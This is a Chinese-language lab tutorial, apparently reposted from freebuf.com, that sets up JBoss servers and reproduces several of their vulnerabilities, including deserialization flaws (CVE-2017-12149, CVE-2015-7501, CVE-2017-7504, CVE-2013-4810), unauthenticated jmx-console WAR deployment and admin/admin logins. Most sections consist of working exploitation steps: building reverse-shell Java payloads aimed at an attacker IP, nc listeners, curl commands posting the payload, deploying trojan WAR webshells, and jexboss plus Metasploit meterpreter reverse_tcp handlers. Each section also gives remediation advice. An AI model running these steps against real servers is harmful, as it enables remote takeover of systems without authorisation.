服务攻防-JBoss中间件漏洞原理深究及复现方法 – 作者:DXR嗯嗯呐

一、JBoss简介

JBoss是一个基于J2EE的开发源代码的应用服务器。它是开放源代码的项目,遵循最新的J2EE规范。从JBoss项目开始至今,它已经从一个EJB容器发展成为一个基于的J2EE的一个web 操作系统。但JBoss核心服务不包括servlet/JSP的web容器。一般与tomcat或jetty绑定试用。

Jetty是一个开源的servlet容器,它为基于jaba的web容器,例如JSP和servlet提供运行环境。Jetty是使用java语言编写的,它的API以一组JAR包的形式发布。发开人员可以将Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。

默认端口:8080

二、部署JBoss 6.1.0环境

JBoss下载地址:https://jbossas.jboss.org/downloads/
JDK下载地址:https://www.oracle.com/cn/java/technologies/javase-downloads.html

1、安装JDK

(1)安装JDK 1.7

image.png

(2)测试java安装情况

java -version

image.png

2、安装JBoss

(1)安装JBoss 6.1.0

image.png
image.png

(2)新建系统环境变量

JBOSS_HOME 设置:C:\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final

image.png

在系统环境变量path新增

;%JBOSS_HOME%\bin;

image.png

(3)在jboss的bin目录下运行run.bat程序,启动jboss

image.png

出现started in xxs等消息,jboss启动成功。

注意JDK版本要在1.6~1.7之间,若1.8版本的jdk在JBoss运行打开jmx console会出现500错误

(4) JBoss默认发布项目路径

C:\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final\server\default\deploy

(5)设置项目可以外部访问

修改C:\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml配置

将address="${jboss.bind.address}" 设置为address=0.0.0.0

image.png

重启JBoss,关闭run.bat重新打开即可

image.png

三、JBoss 5.x/6.x反序列化漏洞(CVE-2017-12149)

漏洞简述

JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。

影响范围

JBoss 5.x/6.x

漏洞复现

(1)验证漏洞是否存在

访问/invoker/readonly目录,如果返回500,一般说明存在反序列化漏洞

http://192.168.43.143:8080/invoker/readonly

image.png

(2)下载漏洞利用工具:javaDeserH2HC

https://github.com/joaomatosf/JavaDeserH2HC

将文件上传到kali服务器

image.png

(3)编译预置payload的java文件

编译java文件,并生成ReverseShellCommonsCollectionsHashMap.class文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

image.png

(4)设置反弹shell的IP和端口。

设置反弹shell的IP和端口,并生成ReverseShellCommonsCollectionsHashMap.ser文件

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.43.129:9999

image.png

(5)kali服务器,监听9999端口

nc -lvp 9999

image.png

(6)使用curl命令提交payload

通过curl命令向/invoker/readonly提交payload,成功利用漏洞

curl http://192.168.43.143:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image.png

成功获取反弹shell。

修复建议

方法1:

1、进入C:\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml,如图所示:

image.png

2、在web.xml中,修改security-constraint部分,将url-pattern修改为*,并重启jboss

image.png

方法2:

如果不需要http-invoker.sar组件的直接删除

image.png

方法3:

升级jboss到jboss7x版本

四、JBoss JMXInvokerServltet 反序列化漏洞(CVE-2015-7501)

漏洞简述

JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

响应范围

Red Hat JBoss A-MQ 6.x; BPM Suite (BPMS) 6.x; BRMS 6.x and 5.x; Data Grid (JDG) 6.x; Data Virtualization (JDV) 6.x and 5.x; Enterprise Application Platform 6.x, 5.x, and 4.3.x; Fuse 6.x; Fuse Service Works (FSW) 6.x; Operations Network (JBoss ON) 3.x; Portal 6.x; SOA Platform (SOA-P) 5.x; Web Server (JWS) 3.x; Red Hat OpenShift/xPAAS 3.x; and Red Hat Subscription Asset Manager 1.3 allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collections (ACC) library.

漏洞复现

(1)验证漏洞是否存在

访问/invoker/JMXInvokerServlet路径,可以下载一个文件,说明此路径存在反序列化漏洞

http://192.168.43.143:8080/invoker/JMXInvokerServlet

image.png

(2)使用JavaDeserH2HC工具,编译预置payload的java文件

编译java文件,并生成ReverseShellCommonsCollectionsHashMap.class文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

image.png

(3)设置反弹shell的IP和端口。

设置反弹shell的IP和端口,并生成ReverseShellCommonsCollectionsHashMap.ser文件

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.43.129:9999

image.png

(4)kali服务器,监听9999端口

nc -lvp 9999

image.png

(5)使用curl命令提交payload

通过curl命令向/invoker/readonly提交payload,成功利用漏洞

curl http://192.168.43.143:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image.png

成功获取反弹shell。

修复建议

方法1:

1、进入C:\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml,如图所示:

image.png

2、在web.xml中,修改security-constraint部分,将url-pattern修改为*,并重启jboss

image.png

方法2:

如果不需要http-invoker.sar组件的直接删除

image.png

方法3:

升级jboss到jboss7x版本

五、部署JBoss 4.2.3环境

(1)安装jdk 6

image.png

(2)安装jboss 4.2.3

image.png
image.png

(3)配置环境变量

在系统环境变量中配置

JBOSS_HOME	配置:	C:\jboss-4.2.3.GA
path	配置:	;%JBOSS_HOME%\bin

image.png

(4)配置远程访问

在C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer\server.xml配置

将address="${jboss.bind.address}" 设置为address=0.0.0.0

image.png

(5)运行run.bat,启动jboss

image.png
image.png

六、JBoss 4.x JBossMQ JMS反序列化漏洞(CVE-2017-7504)

漏洞简述

JBoss 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响范围

JBoss 4.x 以及之前的所有版本

漏洞复现

(1)验证漏洞是否存在

访问/jbossmq-httpil/HTTPServerILServlet路径,若返回THIS IS THE…..,则说明此接口存在反序列化漏洞

http://192.168.43.136:8080/jbossmq-httpil/HTTPServerILServlet

image.png

(2)将前面利用JavaDeserH2HC生产ser格式的payload,上传到/jbossmq-httpil/HTTPServerILServlet

curl http://192.168.43.136:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image.png

成功反弹shell

修复建议

升级至最新版本

七、JBoss EJBInvokerServle反序列化漏洞(CVE-2013-4810)

漏洞简述

与CVE-2015-7501漏洞原理相同,区别在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

漏洞复现

(1)验证漏洞是否存在,访问/invoker/EJBInvokerServlet路径,若返回下载文件,则说明漏洞存在

http://192.168.43.136:8080/invoker/EJBInvokerServlet

image.png

(2)将前面利用JavaDeserH2HC生产ser格式的payload,上传到/invoker/EJBInvokerServlet路径

curl http://192.168.43.136:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image.png

成功反弹shell

修复建议

方法1:

1、进入C:\jboss-4.2.3.GA\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml,如图所示:

image.png

2、在web.xml中,修改security-constraint部分,将url-pattern修改为*,并重启jboss

image.png

方法2:

如果不需要http-invoker.sar组件的直接删除

image.png

方法3:

升级jboss到jboss7x版本

八、JBoss jmx-Console 控制台未授权访问getshell

漏洞简述
默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码,可以通过控制台上传war包getshell。

影响范围

全版本

1、JBoss4.x jmx-Console 控制台未授权访问getshell

漏洞复现

(1) 验证管理页面

访问8080默认端口,点击“JMX Console”

image.png
image.png

在“jboss.deployment”模块中点击“flavor=URL,type=DeploymentScanner”

image.png
image.png

或者直接访问以下连接,打开“flavor=URL,type=DeploymentScanner”

http://IP:port/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL

然后在void addURL()选项来远程下载war包。

image.png

(2)创建包含木马的war包

将一个木马的jsp文件压缩为zip,之后将文件后缀修改为war即可

image.png

(3)创建http服务,让jboss可以远程下载shen.war包

将shen.war放在kali服务器桌面,并创建http服务

python -m SimpleHTTPServer 8889

image.png
image.png

(4)上传war包至jboss服务器

“void addURL()”中“ParamType”为java.lang.string”部分,在“ParamValue”填写”http://192.168.43.129:4444/test.war“,点击invoke上传

image.png
image.png

(5)返回MBean View

image.png

(6)查看List of MBean attributes中URLList是否包含了url连接

image.png

(7)稍等一段时间,在jmx-console路径下,jboss.web.deployment模块,我们看到我们上传的war包

image.png

(8)访问war包中的jsp木马,目录名为war包文件名

image.png

完成~~~

2、JBoss6.x jmx-Console 控制台未授权访问getshell

漏洞复现

(1)上传shell界面

访问8080端口,打开jboss首页,点击“JMX Console”

image.png
image.png

找到“jboss.system”模块,点击“service=MainDeployer”

image.png

找到“deploy“并包含”java.lang.String“,在空白部分填写,远程下载war包的链接

image.png

(2)创建http服务

将shen.war放在kali服务器桌面,并创建http服务

python -m SimpleHTTPServer 8889

image.png
image.png

(3)填报http链接,jboss远程部署war包

将war的链接填报在空白处,点击“Invoke”

image.png

上传成功

image.png

(4)蚁剑连接war包中jsp木马

访问http://192.168.43.143:8080/shen/shen.jsp,目录名称为war包名称

image.png

使用蚁剑连接

image.png

成功~~~

修复建议

关闭jmx-console和web-console,提高安全性。

jboss console管理路径为/jmx-console/和/web-console/

web-console的配置文件路径:
/xxx/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml

jmx-console的配置文件路径:
/xxx/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml

九、JBoss6.x Administration Console 弱口令getshell

漏洞简述

JBoss Administration Console存在默认账号密码admin/admin,如果Administration Console可以登录,就可以在后台部署war包getshell。

漏洞复现

(1)验证管理页面

访问jboss8080端口首页,点击“Administration Console”

image.png
image.png

(2)使用默认口令登录后台管理页面“admin/admin”

image.png

(3)上传war包木马

进入”web Applocation(WAR)s”模块,点击”Add a new resource”,上传war包

image.png

选择war包,点击继续

image.png

完成上传

image.png

点击test.war包查看状态,若为stop,请启动

image.png

(4)蚁剑连接jsp木马

目录名称为war包名称

image.png

修复建议

1、修改密码

C:\Users\dayu\Desktop\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

image.png

2、删除administration Console页面

JBoss6.x,admin-console页面路径:
C:\jboss-6.1.0.Final\common\deploy\admin-console.war

十、jboss_application_server 权限许可和访问控制漏洞 (CVE-2007-1036)

漏洞简述

此漏洞主要由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能。该漏洞利用的是后台中“jboss.admin -> DeploymentFileRepository -> store()” 方法。通过以下四个参数传入信息,达到上传shell的目的,其中arg0传入的是war包名称,arg1传入的是上传的文件的文件名称,arg2传入的是上传文件的文件格式,arg3输入的是上传文件中的内容。通过控制这四个参数即可上传shell。但通过实验发现,arg1和arg2可以进行文件的拼接,例如arg1=she,arg2=n.jsp。这时候服务器是会对两个参数进行拼接,将shen.jsp传入到指定的路径下。

image.png

影响范围

4.x及以下版本

漏洞复现

(1)验证漏洞页面是否存在

访问指定web界面,查看漏洞环境是否存在

http://IP:prot/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
http://192.168.43.136:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository

image.png

四个参数的内容:
arg0传入的是war包名称,
arg1传入的是上传的文件的文件名称,
arg2传入的是上传文件的文件格式,
arg3输入的是上传文件中的内容。

(2)上传war包木马

war包木马为jsp一句话木马

image.png

# jsp一句话木马,请参考: 

https://www.tqwba.com/x_d/jishu/415225.html

(3)上传成功,验证shen2.jsp文件

image.png

访问shen2.jsp,目录文件为war文件名称

image.png

(4)蚁剑测试连接木马

image.png

修复建议

关闭jmx-console和web-console,提高安全性。

jboss console管理路径为/jmx-console/和/web-console/

web-console的配置文件路径:
/xxx/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml

jmx-console的配置文件路径:
/xxx/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml

十一、初探JBoss 自动化渗透

通过理解以上操作的攻击方法和漏洞生产的原因后,可以使用自动化工具进行渗透了

1、jexboss自动化JBoss渗透部署

jexboss是针对JBoss渗透自动化攻击武器,是用于测试和利用JBoss Application Server和其他java平台、框架、应用程序等中的漏洞的工具。(此自动化工具需要Python>=2.7.x)

下载地址:

https://github.com/joaomatosf/jexboss

image.png

安装python

kali自带python2.7

python2.7 --version

image.png

安装pip2.7

curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py

image.png

安装jexboss

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

image.png

2、JBoss4.x自动化渗透

使用jexboss.py对web地址进行自动化渗透

python2.7 jexboss.py -host http://192.168.43.136:8080/

image.png

[*]正在检查 web-console:[易受攻击]
[*]正在检查 jmx-console:[易受攻击]
[*]正在检查 JMXInvokerServlet:[易受攻击]

*是否要尝试通过“web-console”运行自动攻击?
如果成功,这个操作将提供一个简单的命令shell来执行
服务器上的命令。
只有获得许可才能继续!

这里注意有五种漏洞检查行为

成功获取shell

image.png

3、 JBoss 6.x自动化渗透

使用jexboss.py对web地址进行自动化渗透

python2.7 jexboss.py -host http://192.168.43.143:8080/

image.png

[*]正在检查admin-console:[已公开]
[*]正在检查 jmx-console:[易受攻击]
[*]正在检查 JMXInvokerServlet:[易受攻击]

*是否要尝试通过“admin-console”运行自动攻击?
如果成功,这个操作将提供一个简单的命令shell来执行
服务器上的命令。
只有获得许可才能继续!

对jboss 6.x进行了8中漏洞检查行为

成功获取shell

image.png

4、联动MSF

kali开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.129
set lport 4444
exploit -j

image.png

jboss服务器执行

jexremote=kali的IP:kali的上监听的端口
jexremote=192.168.43.129:4444

image.png

成功在msf中监听到session

来源:freebuf.com 2021-05-09 19:44:25 by: DXR嗯嗯呐

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论